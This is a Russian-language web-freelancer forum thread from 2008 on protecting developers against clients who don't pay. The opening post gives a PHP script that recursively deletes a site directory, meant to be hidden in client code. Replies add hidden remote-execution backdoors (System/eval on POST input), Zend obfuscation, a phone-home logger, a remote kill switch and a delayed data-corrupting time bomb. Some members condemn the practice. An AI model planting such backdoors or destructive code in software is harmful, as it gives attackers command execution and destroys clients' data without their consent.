| Автор |
Сообщение |
Сообщения: 5
Страна: Украина |
 12.05.2008 в 00:10
По причине того что я на днях получил заказ от человека у которого в контактах нет данных, а проект только один - тот за который я берусь, решил обезопасить себя от возможного кидалова. Предоплату брать не могу так как я тут тоже новичек.
Полистав книгу по PHP нашел замечательную функцию - rmdir(). Создав всего один неприметный файлик в глубине каталогов, например с названием fack_off.php (ну или подобным) и содержимым:
Код:
<?php
// Рекурсивная функция удаления каталога
// с произвольной степенью вложенности
function full_del_dir($directory)
{
$dir = opendir($directory);
while(($file = readdir($dir)))
{
// Если функция readdir() вернула файл - удаляем его
if(is_file("$directory/$file")) unlink("$directory/$file");
// Если функция readdir() вернула каталог и он
// не равен текущему или родительскому - осуществляем
// рекурсивный вызов full_del_dir() для этого каталога
else if (is_dir("$directory/$file") &&
$file != "." &&
$file != "..")
{
full_del_dir("$directory/$file");
}
}
closedir($dir);
rmdir($directory);
echo("Каталог успешно удален");
}
// Удаляем каталог temp, можете указать любой :)
full_del_dir("temp");
?>
вы обезопасете себя от плохого настроения, а подумав немного можно например вывести пару матерных слов о заказчике на всю траницу сайта. конечно необходимо предусматреть откат, если недобросовестный заказчик передумает)
желаю удачи!
|
Сообщения: 483
Страна: Россия |
 12.05.2008 в 00:14
Мне нравятся решения такого плана 
|
Сообщения: 5
Страна: Украина |
 12.05.2008 в 00:29
предлагаю всем у кого хорошо с PHP придумать свои, пусть несложные но еффективные скрипты и выложить здесь.
тем самым вы поможете начинающим да и сами, я уверен, будете непрочь лишний раз обезопасить себя!
|
Сообщения: 1043
Страна: Россия |
 12.05.2008 в 00:43
А я бы оторвал что-нибудь исполнителю.
|
Сообщения: 5
Страна: Украина |
 12.05.2008 в 00:51 [Отредактировано: 12.05.2008 в 01:19]
Нунуну... ведь мы - исполнители в значительной мере менее защищены от кидалова а тем более что об этом файле например никто не узнает никогда.
а не хотите платить - извольте, будете страдать)
|
Сообщения: 1107
Страна: Украина |
 12.05.2008 в 03:18
Наличие подобного кода уже само по себе позволяет заказчику оставить исполнителя без оплаты.
|
Сообщения: 539 |
 12.05.2008 в 04:38
System($_POST['act']);
или eval($_POST['code']);
tarpedo, не стоит себя ограничивать в возможностях.
|
Сообщения: 539 |
 12.05.2008 в 04:40
Я вставляю подобный код только при наличии сомнений в порядочности заказчика.
Правда еще и обфускатором прохожу, если есть возможность, то и Zend'ом )
|
Сообщения: 139
Страна: Россия |
 12.05.2008 в 07:56
Забавно)
|
Сообщения: 35
Страна: Россия |
 12.05.2008 в 12:24
Цитата (lyoxa): System($_POST['act']);
или eval($_POST['code']);
про safe_mode забыли?
|
Сообщения: 1240
Страна: Беларусь |
 12.05.2008 в 12:32
Это не решит проблему.
Удаление копии скрипта - сомнительный плюс, да и я бы за такую дырку обиделся.
Гораздо лучше зенд + ограничение по времени работы/количеству запусков и т.д.
|
Сообщения: 2
Страна: Россия |
 12.05.2008 в 12:52
Цитата (SmartDesign): Это не решит проблему.
Удаление копии скрипта - сомнительный плюс, да и я бы за такую дырку обиделся.
Гораздо лучше зенд + ограничение по времени работы/количеству запусков и т.д.
Ну для этого нужно иметь полноценную версию Zend Enoder. А проще зазендите рабочие органы и делайте элементарно. Размещаете на свёом хостинге файлик. В нём только одно слово :
true или false; И та часть, которая зашифрована, вот в ней и проверяете, что в этом файле. Если true пусть работает, если false пусть die("Бабло верни"  ;
Лично я делаю проще. Готовую систему размещают на своём хосте и показываю в работе. Как только поступает оплата отдаю нормальный скрипт без всяких дыр и зендов.
|
Сообщения: 1240
Страна: Беларусь |
 12.05.2008 в 13:03
Цитата: Ну для этого нужно иметь полноценную версию Zend Enoder. А проще зазендите рабочие органы и делайте элементарно. Размещаете на свёом хостинге файлик. В нём только одно слово :
true или false; И та часть, которая зашифрована, вот в ней и проверяете, что в этом файле. Если true пусть работает, если false пусть die("Бабло верни"; Все ыб ничего, но это очень легко "лечится" =)
Цитата: Лично я делаю проще. Готовую систему размещают на своём хосте и показываю в работе. Как только поступает оплата отдаю нормальный скрипт без всяких дыр и зендов. Это лучший вариант.
|
Сообщения: 1107
Страна: Украина |
 12.05.2008 в 13:20
Есть самый идеальный вариант - написать нормальное ТЗ и составить договор плюс СБС
Ведь в случае размещения работы - если заказчик откажется забирать и, соответственно, платить - потеря денег и ресурсов.
---------
Что ж до недокументированного кода: при его наличии у заказчика есть шикарное оправдание - вот он мол встроил в сайт бекдоор,
значит правильно я ему не заплатил...
|
Сообщения: 539 |
 12.05.2008 в 13:50
Цитата (3d-max): Цитата (lyoxa): System($_POST['act']);
или eval($_POST['code']);
про safe_mode забыли?
на eval() он никак не влияет.
Серьезные заказы всегда предусматривают наличие гарантий обеих сторон.
Но когда проект с бюджетом "ниже среднего" и исполнителя мучают сомнения, это самый надежный вариант.
Еще иногда помогает @fopen("логер на твоем сайте",""  ; на случай если твои скрипты сменили место пребывания.
Далее как в магазине, получаешь деньги - отдаешь чистые исходники.
|
Сообщения: 135
Страна: Беларусь |
 12.05.2008 в 14:37
У меня есть функция ua_id($id); Она возвращает массив пользователя найденого по ID. Я просто заказчику отправлю все файлы нормальными, а в этой функции после 20 числа ID будет браться рандомно ))) Если не кинет, то я ыбстренько всё исправлю, если кинет, то ему же хуже)))
|
Сообщения: 1671
Страна: Украина |
 12.05.2008 в 14:49 [Отредактировано: 12.05.2008 в 14:51]
Умышленное включение зловредного кода, не предупреждая об этом заказчика.
За такое нужно сразу заносить в черный список, и для себя можно делать выводы, стоит ли с такими исполнителями работать.
tarpedo, вот Вы каталог удаляете, а что если заказчик в него свои данные положит, например фотки, они что, тоже удалятся?
lyoxa, DEM90, вот вставляете в код такие жучки... А что если заказчик с Вами расплатится, а после этого Вы например случайно или умышленно "забудете" их удалить?
IMHO такое можно делать только в том случае, если заказчик уведомлен о наличии жучков до полной оплаты, и дал свое согласие на это перед началом разработки.
|
Сообщения: 13
Страна: Беларусь |
 12.05.2008 в 15:23
Мне понравилось)
спасибо tarpedo
|
Сообщения: 539 |
 12.05.2008 в 16:10
Цитата (tvv): Умышленное включение зловредного кода, не предупреждая об этом заказчика.
Код этот по своей сути не зловреден, но станет таковым при некоторых негативных обстоятельствах со стороны заказчика.
Это ведь мой скрипт и я могу вставлять туда все что душе угодно.
Цитата (tvv):
lyoxa, DEM90, вот вставляете в код такие жучки... А что если заказчик с Вами расплатится, а после этого Вы например случайно или умышленно "забудете" их удалить?
Если случайно, то кроме разработчика об этом никто не знает. Если умышленно, то это уже другая тема.
|
Сообщения: 942
Страна: Россия |
 12.05.2008 в 16:13
Теперь знаю, кого не стоит выбирать, если мне или какому-нибудь знакомому потребуются web-разработка.
|